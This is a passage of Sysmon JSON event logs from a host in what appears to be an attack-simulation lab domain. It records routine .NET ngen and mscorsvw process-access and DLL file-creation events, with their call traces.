C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:14.244","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4302-5F2D-0000-001007390F00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7845,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:14.244\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4302-5F2D-0000-001007390F00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:14.244","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4302-5F2D-0000-001007390F00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7846,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:14.261\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4302-5F2D-0000-001007390F00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:14.261","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4302-5F2D-0000-001007390F00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7847,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:15.822\r\nProcessGuid: {90617006-4302-5F2D-0000-001007390F00}\r\nProcessId: 4944\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1350-0\\System.ServiceModel.Activities.dll\r\nCreationUtcTime: 2020-08-07 12:03:15.822","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:15.822","ProcessGuid":"{90617006-4302-5F2D-0000-001007390F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1350-0\\System.ServiceModel.Activities.dll","CreationUtcTime":"2020-08-07 12:03:15.822","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7848,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:15.932\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4303-5F2D-0000-00101D410F00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:15.932","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4303-5F2D-0000-00101D410F00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7849,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:15.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4303-5F2D-0000-00101D410F00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:15.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4303-5F2D-0000-00101D410F00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7850,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:15.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4303-5F2D-0000-00101D410F00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:15.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4303-5F2D-0000-00101D410F00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7851,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:16.140\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-001018450F00}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:16.140","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-001018450F00}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7852,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:16.140\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-001018450F00}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:16.140","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-001018450F00}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7853,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:16.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-001018450F00}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 